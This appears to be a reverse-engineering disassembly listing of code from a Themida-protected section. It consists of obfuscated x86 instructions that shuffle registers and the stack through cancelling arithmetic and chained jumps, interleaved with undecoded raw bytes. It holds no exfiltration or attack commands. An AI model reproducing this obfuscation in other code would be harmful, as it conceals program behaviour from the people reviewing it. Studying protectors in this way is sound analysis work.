
loc_553A97:				; CODE XREF: Themida_:00545B5Fj
		mov	dh, ah
		pop	eax
		shl	dh, 4
		not	dh
		sub	dh, 0FFh
		push	edi
		mov	edi, esp
		jmp	loc_554F12
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0E61E924h, 0CF800000h, 7E7C0D4h, 8005E7C0h, 0FE2801F7h
		dd 81241C8Bh, 4C4h, 1EE8000h, 0FCC680h,	24148BF0h, 1C8B5453h
		dd 4C48124h, 81000000h,	4C3h, 4C38300h,	2474FF53h, 15D4E904h
		dd 0B8500000h, 76045E2h, 8158C521h, 0EB6B18CDh,	29ED8119h
		dd 814EC665h, 9004A9F5h, 0E9EB29D0h, 0FFFF33F2h, 4C181h
		dd 61680000h, 89000062h, 74FF240Ch, 0B1E90424h,	81FFFF13h
		dd 604246Ch, 0E965E649h, 0FFFF5CC8h, 278FBD55h,	0E8297754h
		dd 83242C8Bh, 53E904C4h, 58FFFFD8h, 83243C8Bh, 5F0904C4h
		dd 2434FF1Ch, 4C4815Bh,	68000000h, 27D9h, 83241C89h, 0D7E904ECh
		dd 59FFFF0Fh, 4C181h, 0C1830000h, 240C8702h, 5B24248Bh
		dd 0E916B252h, 0FFFF998Bh
; ---------------------------------------------------------------------------

loc_553B88:				; CODE XREF: Themida_:00554537j
		add	esi, edx
		jmp	loc_54F526
; ---------------------------------------------------------------------------
		db 1
		dd 0E539E9F1h, 0C681FFFEh, 4AB7616Eh, 0EE81DE29h, 4AB7616Eh
		dd 8EBA525Bh, 0E918384Eh, 73Fh,	2746C681h, 0DE29722Ah
		dd 2746EE81h, 8B5B722Ah, 0AAE9240Ch, 81000018h,	4C4h, 5FFD0100h
		dd 4AE568h, 240C8900h, 2482E9h,	0AE95F00h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553BE3:				; CODE XREF: Themida_:005468ADj
		sub	ebp, 0D4487F64h
		sub	edi, 22410DE1h
		sub	edi, ebp
		add	edi, 22410DE1h
		jmp	loc_5486B6
; ---------------------------------------------------------------------------

loc_553BFC:				; CODE XREF: Themida_:00553A62j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 0B5h
		dd 55E988B3h, 87FFFF9Ch, 575C2434h, 612C7BBFh, 247C0164h
		dd 6C015F08h, 6EE90424h, 5A00000Eh, 34FFD729h, 0C4835A24h
		dd 2451E904h, 0C1810000h, 4, 5C240C87h,	9739C72Dh, 5D8297Dh
		dd 7D9739C7h, 0E92434FFh, 0FFFFC8A5h, 5568B850h, 85E9534Fh
		dd 89FFFF6Fh, 0C8E95BD9h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553C63:				; CODE XREF: Themida_:0054C3A7j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5511C6
; ---------------------------------------------------------------------------

loc_553C70:				; CODE XREF: Themida_:0054FF43j
		mov	esi, ecx
		pop	ecx
		sub	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_547122
; ---------------------------------------------------------------------------
byte_553C8F	db 0ACh			; DATA XREF: Themida_:00541A20o
		dd 0EC83D830h, 240C8904h, 5E5668h, 24048900h, 0BFFAE952h
		dd 0E181FFFFh, 1B142021h, 0FEF9F2E9h, 90F781FFh, 812F1B36h
		dd 2469CFC7h, 69E78116h, 0F72DDD33h, 94EF81DFh,	527EC0D4h
		dd 0FF31A4E9h, 2C583FFh, 2474FF55h, 48F5D04h, 0D5BE924h
		db 2 dup(0FFh)
word_553CE2	dw 8B66h		; DATA XREF: Themida_:00541A00o
		dd 0EC83240Ch, 0DBB0E904h, 0BD55FFFFh, 31BF4BEBh, 0C15DEE31h
		dd 964E06E6h, 0E9C63148h, 7C2h,	132C5A66h, 0EEE9C800h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553D0F:				; CODE XREF: Themida_:00549564j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 48B1489Ah
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3B45348Bh
		shr	esi, 8
		not	esi
		sub	esi, 6D204CF3h
		dec	esi
		jmp	loc_547677
; ---------------------------------------------------------------------------
byte_553D3D	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005418E4o
		dd 0D259669Dh, 0E99C2414h, 0FFFEDDD3h
; ---------------------------------------------------------------------------

loc_553D4C:				; CODE XREF: Themida_:0054FC9Bj
		sub	ebx, edx
		jmp	loc_54A5E2
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E4E905EAh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_553D5B:				; CODE XREF: Themida_:00550FFAj
		sub	ecx, edi
		pop	edi
		or	ecx, 63FB3F77h
		push	edi
		mov	edi, 15AB77D8h
		neg	edi
		and	edi, 6B9B07DDh
		or	edi, 74716D8Ch
		xor	edi, 0F4CD99BDh
		sub	ecx, edi
		jmp	loc_542011
; ---------------------------------------------------------------------------

loc_553D85:				; CODE XREF: Themida_:0054A32Ej
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, 2A883837h
		add	edx, ecx
		sub	edx, 2A883837h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_546672
; ---------------------------------------------------------------------------

loc_553DBD:				; CODE XREF: Themida_:00556414j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_550BF9
; ---------------------------------------------------------------------------
		db 5, 16h, 35h
		dd 66E95D32h, 81FFFF0Ah, 0C31EBF1h, 8E1C134h, 1810B850h
		dd 3F2D55C7h, 21E513B3h, 0C18158C1h, 0AFE30836h, 0C8BCD31h
		dd 0E2895224h, 61B1BD55h, 0EDC100D4h, 5DED8108h, 10000D4h
		dd 242C8BEAh, 4C481h, 0C2830000h, 24148704h, 4524248Bh
		dd 0FF0A65E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553E2D:				; CODE XREF: Themida_:0054EE36j
		push	ebp
		jmp	loc_54594E
; ---------------------------------------------------------------------------

loc_553E33:				; CODE XREF: Themida_:0054AD99j
		xor	edi, edx
		xor	edx, edi
		shr	edx, 5
		jmp	loc_54425A
; ---------------------------------------------------------------------------
		db 83h
		dd 5B6804ECh, 0E9000010h, 0FFFFBF1Ah, 73E95F54h
		db 0B4h, 2 dup(0FFh)
aM0Hn6		db '¬0Øhn6',0           ; DATA XREF: Themida_:005419DCo
		dw 8900h
		dd 0B3532414h, 6E7DE945h, 535EFFFFh, 0BB5AB7BBh, 5BDA3166h
		dd 0FFDC27E9h, 4C181FFh, 83000000h, 1C8904ECh, 2DA3BB24h
		dd 0DBF711BCh, 5207E3C1h, 0FF2C76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553E91:				; CODE XREF: Themida_:005448E2j
		push	esi
		mov	esi, 2
		sub	edx, 16C044C6h
		add	edx, esi
		add	edx, 16C044C6h
		pop	esi
		jmp	loc_54E98A
; ---------------------------------------------------------------------------

loc_553EAB:				; CODE XREF: Themida_:005472C9j
		add	esp, 4
		pop	ebx
		add	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	77253A1Fh
		pop	esi
		shl	esi, 6
		neg	esi
		push	ebp
		push	eax
		mov	eax, 342C0CBBh
		mov	ebp, eax
		pop	eax
		and	esi, ebp
		pop	ebp
		dec	esi
		push	0FE6h
		mov	[esp], edx
		mov	edx, 0D110509Ah
		add	esi, edx
		pop	edx
		sub	eax, 4074D8Bh
		jmp	loc_551496
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0B4h
		dd 891E2D04h, 0C78159CEh, 72923E47h, 0E953F729h, 0FFFF1B08h
		dd 4C4815Bh, 0E9000000h, 0FFFF1710h
; ---------------------------------------------------------------------------

loc_553F14:				; CODE XREF: Themida_:005470F5j
		mov	edx, edi
		pop	edi
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		shr	edx, 5
		sub	edx, 1
		shl	edx, 7
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_541F4D
; ---------------------------------------------------------------------------

loc_553F34:				; CODE XREF: Themida_:00545949j
		pop	esp
		push	esi
		jmp	loc_542EFE
; ---------------------------------------------------------------------------
byte_553F3B	db 66h			; DATA XREF: Themida_:00541960o
		dd 68240C8Bh, 43B2h, 0FF78E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553F49:				; CODE XREF: Themida_:00543EE3j
		xchg	ebp, [esp]
		jmp	loc_5431ED
; ---------------------------------------------------------------------------

loc_553F51:				; CODE XREF: Themida_:00550A7Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	16B0h
		mov	[esp], edi
		mov	edi, 61D85AFFh
		push	3A4Ah
		mov	[esp], edx
		mov	edx, 25C0B071h
		push	ebp
		mov	ebp, 42726BC9h
		jmp	loc_542B15
; ---------------------------------------------------------------------------

loc_553F89:				; CODE XREF: Themida_:005557BDj
		push	esi
		jmp	loc_54226B
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6892434h, 4C681h, 0C6830000h, 24348702h, 7558E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553FA6:				; CODE XREF: Themida_:00555688j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	3E29h
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5506B0
; ---------------------------------------------------------------------------

loc_553FCB:				; CODE XREF: Themida_:0054368Fj
		add	esi, 4
		sub	esi, 4
		jmp	loc_54278D
; ---------------------------------------------------------------------------

loc_553FD9:				; CODE XREF: Themida_:0055009Cj
		add	ebx, eax
		jmp	loc_54940C
; ---------------------------------------------------------------------------
		dd 0FEDB3AE9h, 247429FFh, 5EF1E90Ch, 34FFFFFFh,	0C4815B24h
		dd 4, 0FEDB22E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553FFD:				; CODE XREF: Themida_:0054D438j
		add	esp, 4
		and	ebx, 501A120Dh
		jmp	loc_55556A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 242C3300h, 0FFF9B1E9h,	90E95FFFh, 5CFFFF72h, 0E9240489h
		dd 0FFFF33D7h, 4240481h, 59000000h, 0FFA688E9h,	2434FFFFh
		dd 8324048Bh, 8E6804C4h, 89000065h, 0E6892434h,	11BE9h
		dd 3A146800h, 2C890000h, 0F4BEE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55405A:				; CODE XREF: Themida_:00544A89j
		shl	ecx, 5
		push	ebp
		mov	ebp, 81653A47h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_54D5E4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF052BE9h, 0BEFABEFFh, 5CE98FF6h, 1FFFF7Dh,	0C2EE81DEh
		dd 8B06AA67h, 0C481241Ch, 4, 92BAE951h,	27BAFFFFh, 315C2520h
		dd 2958E9D1h, 57680000h, 89000014h, 0E589242Ch,	4C581h
		dd 0EFE90000h, 68FFFF8Dh, 6700h, 0BB241C89h, 630102EFh
		dd 1357E9h, 75376800h, 1C890000h, 5932E924h, 3489FFFFh
		dd 3ED4BE24h, 0F0011957h, 8324348Bh, 0F5E904C4h, 0C1FFFF19h
		dd 0CA8102EAh, 5D3D0428h, 8142D2F7h, 0BF972CC2h, 8BD6015Dh
		dd 0C4832414h, 4C68104h, 83000000h, 0CFE904ECh
		db 1Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55410F:				; CODE XREF: Themida_:0054D380j
		shr	ebp, 6
		sub	ebp, 0E73E347Fh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	6DEEh
		mov	[esp], eax
		jmp	loc_54EC02
; ---------------------------------------------------------------------------

loc_55413F:				; CODE XREF: Themida_:0054AE4Dj
		mov	ebx, 4
		add	eax, 7FC54F78h
		sub	eax, 2B180C5Dh
		add	eax, ebx
		add	eax, 2B180C5Dh
		push	edi
		jmp	loc_54991F
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 0E9000000h, 0FFFEE17Bh, 77B568h, 241C8900h
		dd 5F25BA52h, 0D389353Ah, 2E3C15Ah, 7C90F381h, 0E951D4E9h
		dd 0FFFF45F6h
; ---------------------------------------------------------------------------

loc_554188:				; CODE XREF: Themida_:00550D9Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54AF14
; ---------------------------------------------------------------------------

loc_554196:				; CODE XREF: Themida_:00545F47j
		add	esp, 4
		pop	eax
		push	6B7Ah
		mov	[esp], edi
		mov	edi, 41A34175h
		add	eax, 28E7D02h
		add	eax, 7D7D42D9h
		jmp	loc_555896
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFEE35Ch, 0CCE9D001h, 89FFFF8Fh, 0E789243Ch, 4EC81h
		dd 4890000h, 4B824h, 0C7010000h, 4EF8158h, 87000000h, 0E95C243Ch
		dd 0FFFF71DFh
; ---------------------------------------------------------------------------

loc_5541E8:				; CODE XREF: Themida_:005466F1j
		mov	edx, esi
		jmp	loc_546F81
; ---------------------------------------------------------------------------
		db 8Bh
		dd 65E9241Ch, 86000013h, 0F601245Ch, 245C86D3h,	0FE5B6601h
		dd 0FECF86C7h, 86D1F6C9h, 0F674E9CFh, 3C31FFFFh, 243C3324h
		dd 8924248Bh, 0B050240Ch, 58C588ECh, 0FF136FE9h, 0FFEB29FFh
		dd 2C8B2434h, 16E95024h, 83FFFFF7h, 0C8704C1h, 9718E924h
		dd 5551FFFFh, 0FFA797E9h, 0F80166FFh, 9C2D665Fh, 0D829661Dh
		dd 0FFB476E9h, 74BA52FFh, 0E9571468h, 215Fh, 1C8BFD00h
		dd 4C48124h, 80000000h,	0CDFE5DC5h, 0FF545AE9h,	0BEE952FFh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55427F:				; CODE XREF: Themida_:0054E2F6j
		sub	esp, 4
		jmp	loc_54448B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 233B5E3Eh, 575FFD09h, 1DACFBFh, 0FFFD316Ch, 0E95F2434h
		dd 11FDh, 0AEE9D929h, 0E9FFFFF3h, 0FFFED873h
; ---------------------------------------------------------------------------

loc_5542AC:				; CODE XREF: Themida_:00546798j
		shr	ebx, 7
		sub	ebx, 270A6h
		add	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54AF66
; ---------------------------------------------------------------------------

loc_5542C8:				; CODE XREF: Themida_:0054EC75j
		push	edi
		mov	edi, 235366ADh
		and	edi, 261E6462h
		inc	edi
		jmp	loc_5482ED
; ---------------------------------------------------------------------------
		dw 6866h
		dd 896628B9h, 97E9240Ch, 83FFFF4Ch, 36E904C7h, 0C1FFFF7Eh
		dd 0F28105E2h, 6686ADBEh, 535AD601h, 0AB93E952h, 0C8BFFFFh
		dd 6BBA6824h, 30E90000h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55430F:				; CODE XREF: Themida_:0054AF9Dj
		inc	ebp
		inc	ebp
		sub	ebp, 406C0C42h
		sub	edi, ebp
		pop	ebp
		sub	edi, edx
		jmp	loc_54B935
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 6Fh
		db 0Ch,	2 dup(0)
byte_554327	db 66h			; DATA XREF: Themida_:005419F0o
		dd 0E9240C8Bh, 0FFFFA2AFh, 8B241433h, 88642424h, 0E64EE902h
		dd 895CFFFFh, 9DE9240Ch
		db 3Ah,	2 dup(0FFh)
byte_554347	db 0FFh			; DATA XREF: Themida_:00541A78o
		dd 34813C77h, 35279124h, 24048B76h, 8304C483h, 3C8904ECh
		dd 505F5424h, 0FB368h, 24348900h, 1E1BE168h, 0CE815E71h
		dd 285E2D30h, 0E6C1EED1h, 0ACE8105h, 51152A40h,	7D1857B9h
		dd 2CE18139h, 81083A15h, 0F0F6EEC1h, 0E9CE2927h, 0FFFF8D9Fh
; ---------------------------------------------------------------------------

loc_554398:				; CODE XREF: Themida_:005491A7j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 55BD1BA3h
		shr	esi, 7
		push	ebx
		jmp	loc_554DBB
; ---------------------------------------------------------------------------
		db 31h
		dd 0ED815FFDh, 3221E782h, 0FF5DE829h, 525F2434h, 0C281E289h
		dd 4, 0FFA808E9h, 240487FFh, 1C68665Ch,	0C89664Dh, 669BB524h
		dd 0E960B252h, 0DECh, 8904EC83h, 74FF240Ch, 0C4E90424h
		dd 89FFFF10h, 6D68240Ch, 89000013h, 0E0892404h,	405h, 42D00h
		dd 0FF500000h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 4CE92424h
		dd 66FFFF86h, 8166E9D1h, 666978C1h, 0E959CB01h,	0FFFFD28Eh
; ---------------------------------------------------------------------------

loc_554438:				; CODE XREF: Themida_:005474F6j
		sub	ebx, 1D5C62D0h
		sub	ebx, 789D5744h
		jmp	loc_54B635
; ---------------------------------------------------------------------------
byte_554449	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541878o
aHs0		db '$hè0',0
		align 2
aSx		db 'éx"',0
		db 0
; ---------------------------------------------------------------------------

loc_554457:				; CODE XREF: Themida_:005471CCj
		pop	ecx
		jmp	loc_5488C0
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 4
		dd 0B3C38143h, 1A511CAh, 241C8BD9h, 8104C483h, 4E9h, 0EBE7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55447A:				; CODE XREF: Themida_:00544DFBj
		mov	ecx, 20h
		jmp	loc_553940
; ---------------------------------------------------------------------------
		dd 0BE243489h, 736D1C87h, 34E9F129h, 0BEFFFFDAh, 13A40B6Ch
		dd 56CEE81h, 81466CF4h,	964C10C6h, 5EF1298Eh, 0E92434FFh
		dd 0FFFF49F4h
; ---------------------------------------------------------------------------

loc_5544B0:				; CODE XREF: Themida_:005423A9j
		mov	ebx, 6FCF0DD7h
		push	ebp
		mov	ebp, 411F045Fh
		xor	ebp, 75273B65h
		jmp	loc_54E4E2
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0C683C631h, 0F7EE87FFh, 31EE31D5h, 81EE31F5h, 387983C6h
		dd 0C1F68142h, 810B6E11h, 31365BC1h, 30C18140h,	0E963A22Ch
		dd 0FFFFF69Bh
; ---------------------------------------------------------------------------

loc_5544F4:				; CODE XREF: Themida_:0054AE80j
		pop	ebp
		xor	ebp, esi
		pop	esi
		shl	ebp, 1
		xor	ebp, 21633920h
		push	edi
		mov	edi, 0B118F7B0h
		jmp	loc_545E9E
; ---------------------------------------------------------------------------

loc_55450B:				; CODE XREF: Themida_:00555022j
		pop	ebp
		jmp	loc_5470DA
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 29h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554517:				; CODE XREF: Themida_:005515E5j
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	esi, 8
		jmp	loc_5487E7
; ---------------------------------------------------------------------------

loc_554527:				; CODE XREF: Themida_:00554B49j
		mov	eax, 4
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553B88
; ---------------------------------------------------------------------------
		dd 5208E0C0h, 0F00001B6h, 0FF789CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554549:				; CODE XREF: Themida_:0054D03Fj
		add	esi, edx
		pop	edx
		jmp	loc_54BB32
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 2156AC68h, 0CAE95A70h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55455F:				; CODE XREF: Themida_:0054A2CDj
		push	5BEFh
		mov	[esp], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_54701E
; ---------------------------------------------------------------------------

loc_55457F:				; CODE XREF: Themida_:00554B18j
		mov	ebp, 67873F56h
		sub	ebp, 65AE2F52h
		xor	ebp, 48BD37D3h
		push	esi
		mov	esi, 4FB9351Dh
		xor	ebp, esi
		pop	esi
		shl	ebp, 7
		jmp	loc_5559C6
; ---------------------------------------------------------------------------

loc_5545A1:				; CODE XREF: Themida_:0054992Ej
		mov	ecx, 76C187Bh
		and	edi, ecx
		pop	ecx
		add	edi, 7FA54F60h
		jmp	loc_55540D
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFFEC8h, 1EB81h, 96E90000h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5545C7:				; CODE XREF: Themida_:00554CF2j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_550886
; ---------------------------------------------------------------------------

loc_5545D0:				; CODE XREF: Themida_:00548D96j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_54297E
; ---------------------------------------------------------------------------
		db 89h
		dd 19BE59CFh, 12669DAh,	2434FFFEh, 0FF79C4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5545F5:				; CODE XREF: Themida_:00555009j
		push	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		shl	eax, cl
		push	edx
		mov	edx, esp
		jmp	loc_54ECC1
; ---------------------------------------------------------------------------
		db 9
		dd 240C8BCAh, 4C481h, 0BD550000h, 252A5CD9h, 535DEA31h
		dd 0A563A6BBh, 81E3D178h, 2C729ECBh, 0E0EB8112h, 14F3018h
		dd 0AFE95BDAh, 89FFFFEFh, 4C181E1h, 81000000h, 2C1h, 240C8700h
		dd 0D4C5E95Ch, 0C483FFFEh, 0A52FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554662:				; CODE XREF: Themida_:00547C3Fj
		mov	ecx, [esp]
		add	esp, 4
		push	4C73h
		mov	[esp], eax
		jmp	loc_543446
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 55h
		dd 81296E2Bh, 5708FFE2h, 39F2811Ch, 89004108h, 0F8055AD7h
		dd 292C2102h, 2F82DF8h,	505F2C21h, 42474FFh, 24048F58h
		dd 240C895Ch, 0FFCC1DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5546A9:				; CODE XREF: Themida_:0054C3C6j
		mov	esi, eax
		pop	eax
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5492C6
; ---------------------------------------------------------------------------

loc_5546BD:				; CODE XREF: Themida_:0054BD9Fj
		or	eax, 17D76565h
		xor	eax, 0C951EBFh
		sub	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 424F203Eh
		sub	edi, ecx
		pop	ecx
		add	edi, eax
		add	edi, 424F203Eh
		add	edi, 3B4A7BC0h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 23C13FDEh
		shr	ebp, 6
		push	esi
		push	ebp
		mov	ebp, 374D1C45h
		jmp	loc_54AE7E
; ---------------------------------------------------------------------------
		dd 0E928F780h, 0FFFFBFF8h
; ---------------------------------------------------------------------------

loc_55470C:				; CODE XREF: Themida_:0054609Bj
		mov	eax, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 73DB3E80h
		mov	edx, ebp
		pop	ebp
		add	edx, 42CC3A03h
		jmp	loc_5463ED
; ---------------------------------------------------------------------------

loc_554734:				; CODE XREF: Themida_:00546D30j
		add	esp, 4
		jmp	loc_54CFFB
; ---------------------------------------------------------------------------
		db 80h
		dd 0C28001E2h, 96C28001h, 0C280C2FEh, 5AD708F3h, 0FF2549E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554755:				; CODE XREF: Themida_:00545CD9j
		xor	edx, [esp]
		xor	[esp], edx
		push	7DDFh
		mov	[esp], edx
		not	dword ptr [esp]
		mov	edx, [esp]
		push	6929h
		jmp	loc_547393
; ---------------------------------------------------------------------------
		db 8Bh
		dd 94E9241Ch
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_55477B:				; CODE XREF: Themida_:00555C38j
		push	15C46D6Bh
		pop	esi
		sub	esi, 4A10387h
		jmp	loc_54E4C9
; ---------------------------------------------------------------------------

loc_55478C:				; CODE XREF: Themida_:0054A434j
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4BF5E3Bh
		dec	ecx
		neg	ecx
		add	ecx, 15F320DEh
		push	0
		jmp	loc_54F8AD
; ---------------------------------------------------------------------------
		db 83h
		dd 3C3002C4h, 243C3224h, 0E9243C30h, 0FFFED363h
; ---------------------------------------------------------------------------

loc_5547BC:				; CODE XREF: Themida_:005552BAj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_544F55
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 0F75C243Ch, 0F9068E9h, 14890000h
		dd 0E99C5024h, 0FFFED333h, 0C281EA01h, 5E621F84h, 0FFB648E9h
		dd 8B585BFFh, 0D0E9240Ch, 89FFFF67h, 43BD55E1h,	51088831h
		dd 77CEC1B9h, 59CD01F7h, 835DE901h, 0C8704E9h, 6D91E924h
		dd 5366FFFFh, 54B55150h, 0F6CBE580h, 7FED80DDh,	0D5F6D5F6h
		dd 0E965F580h, 0A74h, 48BC601h,	4C48124h, 56000000h, 70AE9h
		dd 242C3300h, 33242C31h, 42E9242Ch
		db 0, 2	dup(0FFh)
byte_55485B	db 0FFh			; DATA XREF: Themida_:00541A48o
		dd 0BD553C77h, 2A186B8Ch, 0FFEADAE9h, 58C328FFh, 710B68h
		dd 5B8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554876:				; CODE XREF: Themida_:00547B0Dj
		add	esi, 0D638D69Bh
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_541CE3
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 54C68h, 0C6CDE900h, 0EAC0FFFFh, 0C0D2F608h, 0C28006EAh
		dd 7EE4E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5548A6:				; CODE XREF: Themida_:0054237Cj
		add	ebx, 1
		xor	ebx, 7F015021h
		xor	ebx, 105F278Dh
		jmp	loc_545317
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 0E9000000h, 0FFFEDF92h, 5C241C33h, 4B30F66h,	4CE99C24h
		dd 0FFFED2h, 79EB80D3h,	0FF4A6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5548DD:				; CODE XREF: Themida_:005425FDj
		mov	ebx, 3BE50ECEh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 6E4F34BAh
		shr	edx, 3
		inc	edx
		xor	edx, esi
		xor	esi, edx
		jmp	loc_54A8E2
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 13E92404h, 5A000009h, 0FF8846E9h,	0CD366FFh
		dd 3FE99C24h, 81FFFF29h, 42404h, 48B0000h, 4C48324h, 4B951h
		dd 0C8010000h, 4BF5759h, 1000000h, 0EC815FF8h, 4, 0FF2433E9h
		dd 0D82859FFh, 6866952Ch, 63E93C0Eh
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55495B:				; CODE XREF: Themida_:0055015Ej
		push	4499136Bh
		pop	eax
		add	eax, 0B237DB3h
		shl	eax, 2
		sub	eax, 2DFE75A2h
		sub	eax, 0C856A6ECh
		xor	ecx, eax
		pop	eax
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	edi
		jmp	loc_552358
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0B25204C4h, 88B050D9h, 0FE07E8C0h, 0E9C8FEC8h
		dd 0D28h, 4240483h, 4BB535Eh, 0E9000000h, 0DB0h
; ---------------------------------------------------------------------------

loc_5549B0:				; CODE XREF: Themida_:0054DF9Aj
		add	esp, 4
		jmp	loc_545398
; ---------------------------------------------------------------------------
		dd 372CC381h, 0E3C16641h, 0E3C14308h, 4F9DE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5549CA:				; CODE XREF: Themida_:0054B23Dj
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_548BEF
; ---------------------------------------------------------------------------
		dw 40E9h
		db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5549DF:				; CODE XREF: Themida_:00543756j
		push	esi
		jmp	loc_54750D
; ---------------------------------------------------------------------------
		db 5Eh,	89h, 0CFh
		dd 0FF7D65E9h, 240C89FFh, 0C181E189h, 4, 4E981h, 50E90000h
